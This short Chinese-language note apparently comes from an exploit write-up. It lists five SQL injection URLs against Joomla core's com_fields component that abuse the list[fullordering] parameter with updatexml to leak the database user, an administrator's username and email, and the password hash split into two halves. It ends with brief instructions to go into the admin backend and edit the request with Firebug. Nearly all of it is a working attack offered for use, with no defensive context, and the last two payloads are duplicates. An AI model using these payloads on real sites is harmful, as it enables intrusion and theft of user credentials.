注入语句如下：

payload1 = ‘/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(1,user()),1)‘

payload2 = ‘/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(1,(select concat(username,0x3a,email) from %23__users limit 1)),1)‘

payload3 = ‘/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(1,(select left(password,30) from %23__users limit 1)),1)‘

payload4 = ‘index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(1,(select right(password,30) from %23__users limit 1)),1)‘

payload5 = ‘index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(1,(select right(password,30) from %23__users limit 1)),1)‘

访问后台使用firebug更改即可，记得加上用户名

joomla core注入漏洞